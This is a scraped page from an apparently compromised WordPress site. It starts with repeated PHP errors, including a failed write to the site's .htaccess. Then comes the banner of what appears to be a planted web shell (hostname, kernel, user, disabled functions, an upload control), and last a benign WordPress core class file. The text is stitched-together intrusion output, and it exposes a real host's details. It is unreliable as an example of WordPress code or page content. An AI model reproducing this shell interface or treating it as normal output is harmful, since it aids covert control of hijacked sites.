Warning: file_put_contents(/home/coinconse/www/.htaccess): Failed to open stream: Permission denied in /home/coinconse/www/wp-includes/load.php on line 1803

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/query.php on line 466

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/query.php on line 466

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 1513

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 1513

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 2702

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/theme.php on line 2702

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/category.php on line 225

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/category.php on line 225

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/comment.php on line 2190

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/comment.php on line 2190

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/cron.php on line 234

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/cron.php on line 234

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/rest-api.php on line 1873

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/rest-api.php on line 1873

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/blocks/archives.php on line 19

Notice: file_get_contents(): Read of 8225 bytes failed with errno=21 Is a directory in /home/coinconse/www/wp-includes/blocks/archives.php on line 19
HEX
HEX
Server: Apache
System: Linux webm003.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: coinconse (191050)
PHP: 8.2.31
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/coinconse/www/wp-includes/class-wp-matchesmapregex.php
<?php
/**
 * WP_MatchesMapRegex helper class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * Helper class to remove the need to use eval to replace $matches[] in query strings.
 *
 * @since 2.9.0
 */
#[AllowDynamicProperties]
class WP_MatchesMapRegex {
	/**
	 * store for matches
	 *
	 * @var array
	 */
	private $_matches;

	/**
	 * store for mapping result
	 *
	 * @var string
	 */
	public $output;

	/**
	 * subject to perform mapping on (query string containing $matches[] references
	 *
	 * @var string
	 */
	private $_subject;

	/**
	 * regexp pattern to match $matches[] references
	 *
	 * @var string
	 */
	public $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // Magic number.

	/**
	 * constructor
	 *
	 * @param string $subject subject if regex
	 * @param array  $matches data to use in map
	 */
	public function __construct( $subject, $matches ) {
		$this->_subject = $subject;
		$this->_matches = $matches;
		$this->output   = $this->_map();
	}

	/**
	 * Substitute substring matches in subject.
	 *
	 * static helper function to ease use
	 *
	 * @param string $subject subject
	 * @param array  $matches data used for substitution
	 * @return string
	 */
	public static function apply( $subject, $matches ) {
		$result = new WP_MatchesMapRegex( $subject, $matches );
		return $result->output;
	}

	/**
	 * do the actual mapping
	 *
	 * @return string
	 */
	private function _map() {
		$callback = array( $this, 'callback' );
		return preg_replace_callback( $this->_pattern, $callback, $this->_subject );
	}

	/**
	 * preg_replace_callback hook
	 *
	 * @param array $matches preg_replace regexp matches
	 * @return string
	 */
	public function callback( $matches ) {
		$index = (int) substr( $matches[0], 9, -1 );
		return ( isset( $this->_matches[ $index ] ) ? urlencode( $this->_matches[ $index ] ) : '' );
	}
}